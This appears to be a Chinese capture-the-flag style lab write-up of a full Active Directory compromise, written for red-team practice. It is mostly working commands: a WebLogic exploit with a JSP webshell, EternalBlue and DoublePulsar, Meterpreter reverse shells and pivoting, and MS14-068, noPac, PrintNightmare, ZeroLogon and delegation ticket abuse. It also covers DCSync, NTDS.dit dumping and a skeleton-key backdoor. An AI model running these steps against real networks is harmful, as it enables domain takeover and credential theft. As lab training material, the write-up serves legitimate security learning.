本套靶场来源于渗透攻击红队,
公网地址:192.168.2.11
内网地址:10.10.20.12
网卡1:10.10.20.7
网卡2:10.10.10.7(域网段)
设置了非约束委派和约束委派
10.10.10.18
10.10.10.8
先对目标进行端口扫描:
开放7001端口,进行访问
典型的weblgic组件特征,直接利用工具扫描,存在漏洞
目标主机出网
这里并没有直接上线,而是上传一个jsp木马来做一个权限维持,接下来寻找网站的根目录。
访问weblogic的默认登陆路径:
http://192.168.2.11:7001/console/login/LoginForm.jsp
右键F12随便查看一张图片的路径
接下来只要找到该图片所在路径就能间接找出网站根目录:
dir C:\ /s /b | find "login_WebLogic_branding.png"
成功找到图片路径:
C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png
接下来在该目录下上传马子即可:
冰蝎连接
当前网段存在一个公网网卡和另一张内网网卡10.10.20.12
利用nbtscan简单扫一下当前的网段:
nbtscan.exe 10.10.20.12/24
存在另一台主机10.10.20.7,利用fscan扫一下,看看是否存在ms17010
fscan.exe -h 10.10.20.12/24 -m ms17010
显然存在ms17010
上线msf吧,打ms17010方便一点,代理也方便
先做一个frp穿透
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.118.129
set lport 1132
run
接下来目的明确,打永恒之蓝,这里我就不用msf自带的模块打了,我用python脚本来打这个漏洞,msf这个有一定的缺陷,不是很好。
添加路由:
run autoroute -s 10.10.20.12/24
run autoroute -p
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.118.129
set srvport 10011
run
在proxychains配置好代理:
我们利用这个项目来打ms17010
https://github.com/TolgaSEZER/EternalPulse
在攻击机上配置好刚才的代理:
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 目标IP --TargetPort 445
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 10.10.20.7 --TargetPort 445
直接64位,msf生成相应的payload(正向):
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1125 -f dll -o bind.dll
利用脚本打过去:
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 目标ip --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload dll地址 --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
直接打成功了。
为什么用这个脚本打,因为他在实战中成功率比较高,而且集成32,64位,打习惯了就知道她确实好用。
net group "Domain Controllers" /domain ##查询域控制器
域控地址为10.10.10.8
接下来再将10.10.10.7的这台机器流量代理出来:
添加路由:
run autoroute -s 10.10.10.7/24
run autoroute -p
流量代理:
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.118.129
set srvport 10086
run
接下来在proxychains做好二级代理:
这样就能在本地直接与域控进行通信了:
打域控之前先将这两台主机上线cs,因为后面都会将主机上线cs,这样显得好看:
先上线weblogic主机,用这个当跳板机上线域内个人主机:
接下来利用这个主机进行转发上线域内个人主机:
生成一个马子,利用msf上传并运行:成功上线:
利用msf来进行利用:
use windows/gather/credentials/gpp
set session 2
run
成功获取到一个域用户的密码,后期这个密码可以用来作为一个字典。
生成票据:
proxychains python2 ms14_068.py -u [email protected] --rc4 e90127c07127ed12f4ebf668acca53e9:518b98ad4178a53695dc997aa02d455c -s S-1-5-21-1359007890-1682372173-1631803504-1135
在当前目录下生成一张票据:
将票据上传到域用户主机利用mimikatz进行注入
mimikatz kerberos::ptc [email protected]
注入成功,访问域控,我这里直接访问10.10.10.8访问失败,但是访问OWA可以成功。
我们既然与域控建立了联系,接下来直接上线域控:
老规矩,先利用域用户主机做个代理转发
自己配置目标信息,注意这里地址不要写ip地址,写域控名称
以该会话来直接上线域控
成功上线域控。
proxychains python3 noPac.py -hashes 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c "redteam.red/saul" -dc-ip 10.10.10.8 -dc-host OWA --impersonate administrator -dump -use-ldap
成功获取到域控管理员hash密码,可以直接利用改密码连接域控
ps:这个方法我失败了,不过这也是一个很不错的方法,故也记录一下。
检测是否存在漏洞:
proxychains python3 rpcdump.py @10.10.10.8 | egrep 'MS-RPRN|MS-PAR'
这里显示是存在的,接下来利用脚本去打,打之前先启动一个smb服务,我们这里只能在个人域用户这个机器上去启动,网上有相应的脚本,但是我没成功,我这里是一条一条打的。
net user guest /active:yes
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d smb /f
secedit /export /cfg gp.inf /quiet
修改文件gp.inf,将SeDenyNetworkLogonRight = Guest修改为SeDenyNetworkLogonRight =,保存
secedit /configure /db gp.sdb /cfg gp.inf /quiet
gpupdate /force
icacls C:\share\ /T /grant Everyone:r
net share share=c:\share /grant:everyone,full
按照上面步骤来启动smb是ok的,我也验证了一下,确实可以:
接下来cs生成dll文件,利用mimikatz打过去:
mimikatz.exe misc::printnightmare /library:misc::printnightmare /library:\\10.10.10.7\share\bind.dll /server:10.10.10.8 /authuser:saul /authdomain:redteam.red /authpassword:[email protected]#45
这里失败了,没有上线:
利用脚本打:
proxychains python3 CVE-2021-1675.py redteam/saul:admin\[email protected]#[email protected] '\\192.168.232.130\smb\rever.dll'
也失败了:就很无语
检查是否存在漏洞并置空
mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$" "exit"
mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$ /exploit" "exit"
空密码连接域控:
proxychains python3 secretsdump.py "redteam.red/OWA$"@10.10.10.8 -no-pass
获取到域控管理员hash
接下来连接域控到处注册表的值:
proxychains wmiexec.py -hahses hash密码 "redteam/administrator"@10.10.10.8
reg save hklm\sam sam.save
reg save hklm\system system.save
reg save hklm\security security.save
lget security.save
lget system.save
lget sam.save
del sam.save
del system.save
del security.save
导出$MACHINE.ACC值:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
下面忘了截图了,
恢复密码:
python3 reinstall_original_pw.py OWA 10.10.10.8 1235c5b0e62d03dffeff03b2c9ec5f62
# AdFind.exe查询约束委派服务账户
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
sqlserver被设置了约束委派用户
ps:这里的sqlserver机器出问题了,并没有sqlserver服务开放,所以换一种思路来获取sqlserver的权限
我们在前面通过GPP漏洞获取到了一个Admin12345密码,在加上其他机器的密码,我们来做一个横向攻击:
mima.txt
Admin12345
[email protected]#45
利用fscan:
shell fscan.exe -h 10.10.10.8/24 -m smb -user administrator -pwdf mm.txt
成功获取到了18这台机器的管理员密码,接下来直接上线就行了:
我们抓取密码:获取到了一部分密码:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:YUkong.kirbi" "exit"
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" "exit"
mimikatz "kerberos::ptt [email protected]@[email protected]" "exit"
到处机器账户的hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 请求票据
kekeo.exe "tgt::ask /user:sqlserver-2008$ /domain:redteam.red /NTLM:6063d4e2707f0f43249c8b1655138633
" "exit"
# 申请administrator权限的票据
kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/owa.redteam.red" "exit"
# mimikatz
mimikatz.exe "kerberos::ptt [email protected]@[email protected]" "exit"
# 访问
dir \\owa.redteam.red\c$
proxychains python3 dnsdump.py -u "REDTEAM\saul" -p 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c -d 10.10.10.8 -r
在域控上面执行以下操作:
shell mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.red /all /csv" "exit"
#创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
#加载快照
shell ntdsutil snapshot "mount {e1122719-433f-4d20-88e7-336954dcc21a}" quit quit
#Copy文件副本
shell copy C:\$SNAP_202301241547_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
在C:目录下生成ntds.dit文件
#导出system文件
reg save hklm\system c:\system.hive
ntdsd.exe -d ntds.dit -s system.hive -o hash.txt
ntdsutil snapshot "unmount {30144165-7f1b-4732-b93f-f1567c6e3975}" "delete {30144165-7f1b-4732-b93f-f1567c6e3975}" quit quit
proxychains python3 secretsdump.py redteam.red/administrator:[email protected] -just-dc-ntlm
最常见的就是黄金,白银票据,这里就用mimiatz的哇能密码来做一个权限维持吧:
mimikatz privilege::debug
mimikatz misc::skeleton
这样于内任意主机都可以与域控建立ipc连接,密码是mimikatz。
本套靶场难度中规中矩,里面还有其他方法可以尝试,例如exchange,约束委派等都可以尝试一遍,主要目的是练习并熟悉拿域控的常用方法以及拿到之后的权限维持等。
最后在这里感谢渗透攻击红队所提供的靶场。
也欢迎大家关注本人的公众号,经常更新一些实战文章。